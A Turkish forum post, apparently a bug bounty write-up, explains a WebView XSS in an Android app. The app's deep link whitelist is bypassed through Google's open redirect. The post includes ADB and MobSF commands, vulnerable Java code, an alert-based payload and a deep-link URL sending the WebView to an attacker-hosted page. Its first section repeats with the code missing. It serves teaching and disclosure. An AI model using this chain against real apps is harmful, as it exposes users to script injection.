- Katılım
- 27 Ocak 2026
- Mesajlar
- 70
- Tepkime puanı
- 36
- Puan
- 18
Merhaba arkadaşlar,
Bugün sizlerle yakın zamanda bir Bug Bounty programında tespit ettiğim, Medium (P3) seviyesinde değerlendirilen bir WebView XSS zafiyetinin teknik analizini paylaşacağım. Bu vaka, geliştiricilerin "Güvenli Alan Adı" (Whitelist) kontrollerini nasıl yanlış uyguladığını ve bizim bunu Google Open Redirect kullanarak nasıl atlatabileceğimizi (bypass) gösteren güzel bir örnek.
Reflected XSS'in ne olduğunu veya etkilerini zaten biliyorsunuz, o yüzden o kısımları geçip doğrudan nasıl bulunur, kodda ne aranır ve nasıl sömürülür kısmına odaklanacağız.
Hazırlık: Laboratuvar ve Araçlar
Analize başlamadan önce elimizdeki APK dosyasını incelemek için MobSF (Mobile Security Framework) ve JADX gibi araçlara ihtiyacımız var. Eğer MobSF kurulu değilse, en temiz kurulum yöntemi Docker kullanmaktır;
Tarayıcınızdan adresine giderek APK dosyanızı sürükleyip bırakabilirsiniz.
Bu, orijinal APK'yı lokal'e indirir – imzalı, gerçek. MobSF'ye yükle: Düşük puan gör (46/100), dışa açık 4 Activity, hassas izinler (ACCESS_FINE_LOCATION, CAMERA). Manifest'te intent-filter'ları avla: ve scheme="spring", path="/campaign?url=".
APK'yı MobSF'e yükledikten sonra ilk bakmamız gereken yer AndroidManifest.xml dosyasıdır. Hedefimiz, dış dünyadan tetiklenebilen aktiviteleri ve bunların kabul ettiği URI şemalarını bulmak.
Nelere Dikkat Etmeliyiz?Manifest dosyasında veya MobSF raporunda şu parametreleri arayın:
Aşağıdaki gibi (benzeri) bir yapı gördüğümüzde "Deep Link" saldırı yüzeyi var demektir:
Aramanız gereken kritik Java/Kotlin kod blokları şunlardır:
Final URL: (ngrok'la dışa açabilirsiniz)
ADB Komutu:
Adım Adım Gerçekleşenler:
Kanıt 1: Redirect Bypass(Aşağıdaki görselde uygulamanın kendi içinde Google Redirect uyarısını gösterdiğini görüyoruz, yani whitelist aşıldı.)
google_redirect_bypass.png
webview_xss_execution.png
Referanslar & Kaynaklar:
Bugün sizlerle yakın zamanda bir Bug Bounty programında tespit ettiğim, Medium (P3) seviyesinde değerlendirilen bir WebView XSS zafiyetinin teknik analizini paylaşacağım. Bu vaka, geliştiricilerin "Güvenli Alan Adı" (Whitelist) kontrollerini nasıl yanlış uyguladığını ve bizim bunu Google Open Redirect kullanarak nasıl atlatabileceğimizi (bypass) gösteren güzel bir örnek.
Reflected XSS'in ne olduğunu veya etkilerini zaten biliyorsunuz, o yüzden o kısımları geçip doğrudan nasıl bulunur, kodda ne aranır ve nasıl sömürülür kısmına odaklanacağız.
Hazırlık: Laboratuvar ve Araçlar
Analize başlamadan önce elimizdeki APK dosyasını incelemek için MobSF (Mobile Security Framework) ve JADX gibi araçlara ihtiyacımız var. Eğer MobSF kurulu değilse, en temiz kurulum yöntemi Docker kullanmaktır;
docker pull opensecurity/mobile-security-framework-mobsf:latestdocker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latestTarayıcınızdan adresine giderek APK dosyanızı sürükleyip bırakabilirsiniz.
1. Keşif ve Statik Analiz
Statik Analiz Obsesyonu: Önce APK'yı elde et. Orijinal uygulamadan ADB ile çek: Cihazı USB debugging moduna al, adb devices ile bağlan, sonra package name'i bul (pm list packages | grep app), mesela com.example.app.adb shell pm path com.example.appadb pull /data/app/com.example.app-xyz/base.apk herhangibirisim.apkBu, orijinal APK'yı lokal'e indirir – imzalı, gerçek. MobSF'ye yükle: Düşük puan gör (46/100), dışa açık 4 Activity, hassas izinler (ACCESS_FINE_LOCATION, CAMERA). Manifest'te intent-filter'ları avla: ve scheme="spring", path="/campaign?url=".
APK'yı MobSF'e yükledikten sonra ilk bakmamız gereken yer AndroidManifest.xml dosyasıdır. Hedefimiz, dış dünyadan tetiklenebilen aktiviteleri ve bunların kabul ettiği URI şemalarını bulmak.
Nelere Dikkat Etmeliyiz?Manifest dosyasında veya MobSF raporunda şu parametreleri arayın:
- android:exported="true" (Bu aktivite dışarıdan erişilebilir demek)
- android.intent.action.VIEW (Bir URL veya veri görüntüleme isteği)
- android:scheme (Özel şemalar: spring://, app://, deeplink:// vb.)
Aşağıdaki gibi (benzeri) bir yapı gördüğümüzde "Deep Link" saldırı yüzeyi var demektir:
Bu konfigürasyon bize şunu söylüyor: Bu uygulama spring://campaign ile başlayan bir linke tıklandığında tetikleniyor.<activity android:name=".CampaignActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="spring" android:host="campaign" />
</intent-filter>
</activity>
2. Kod İnceleme (JADX ile Manuel Kontrol)
Zafiyeti bulduğumuz asıl nokta burası. JADX-GUI ile APK'yı açıp, yukarıda bulduğumuz Activity'nin kaynak koduna gidiyoruz. Geliştiricinin gelen URL parametresini nasıl işlediğine bakmalıyız.Aramanız gereken kritik Java/Kotlin kod blokları şunlardır:
- Veriyi Alma: intent.getData() veya getQueryParameter("url")
- WebView Yükleme: webView.loadUrl(...)
- Doğrulama (Validation): if (url.startsWith("https://www.google.com"))
Zafiyetli Kod Mantığı (Örnek):Geliştirici genellikle şöyle bir mantık kurar: "Eğer URL https://www.google.com ile başlıyorsa güvenlidir, WebView içinde açabilirsin."
Bu kontrol, Open Redirect zafiyeti olan güvenilir bir domain (örneğin Google) kullanılarak kolayca atlatılabilir.// ZAFİYETLİ KOD ÖRNEĞİ
String url = intent.getData().getQueryParameter("url");
if (url != null && url.startsWith("https://www.google.com")) {
webView.loadUrl(url);
}
3. Exploitation (Saldırı Zinciri)
Saldırı kurgumuz şu adımlardan oluşuyor:- Deep Link: Uygulamayı spring://campaign?url=... ile tetikle.
- Whitelist Bypass: URL'yi https://www.google.com ile başlatarak uygulamanın güvenlik kontrolünü geç.
- Open Redirect: Google'ın yönlendirme servisini (/url?q=...) kullanarak trafiği kendi sunucumuza çevir.
- XSS Payload: Kendi sunucumuzdaki (attacker.com) zararlı HTML/JS dosyasını WebView içinde çalıştır.
Payload Hazırlığı (index.html)
Basit bir alert(1) bazen filtreye takılabilir. Parantez () filtrelerini atlatmak için Backticks (Template Literals) kullanabiliriz. Kendi sunucunuza (örneğin lhr.life veya ngrok) şu dosyayı yükleyin:<!DOCTYPE html>
<html>
<body>
<h1>XSS!</h1>
<script>
alert`XSS By Berkay`;
</script>
</body>
</html>
Final URL: (ngrok'la dışa açabilirsiniz)
spring://campaign?url=https://www.google.com/url?q=https://sizin-sunucunuz.lhr.life/index.html<br>
4. Proof of Concept (PoC) - ADB ile Tetikleme
Gerçek bir cihazda veya emülatörde bu saldırıyı simüle etmek için ADB (Android Debug Bridge) kullanıyoruz. Bu komut, kurbanın zararlı linke tıklamasıyla aynı etkiyi yaratır.ADB Komutu:
adb shell am start -W -a android.intent.action.VIEW -d "spring://campaign?url=https://www.google.com/url?q=https://saldirgan-sunucu.com/index.html"
Adım Adım Gerçekleşenler:
- Komut çalıştırıldığında uygulama açılır ve "Shop" (veya ilgili) WebView sayfasına gider.
- Uygulama URL'in google.com ile başladığını görür ve yüklemeye izin verir.
- WebView, Google Redirect sayfasını yükler:
Kanıt 1: Redirect Bypass(Aşağıdaki görselde uygulamanın kendi içinde Google Redirect uyarısını gösterdiğini görüyoruz, yani whitelist aşıldı.)
google_redirect_bypass.png
- Google kullanıcıyı sizin sunucunuza yönlendirir.
- WebView, zararlı index.html dosyasını render eder ve JavaScript çalışır.
webview_xss_execution.png
Referanslar & Kaynaklar:
- OWASP Mobile Top 10: M7 - Client Code Quality
- CWE-601: URL Redirection to Untrusted Site ('Open Redirect')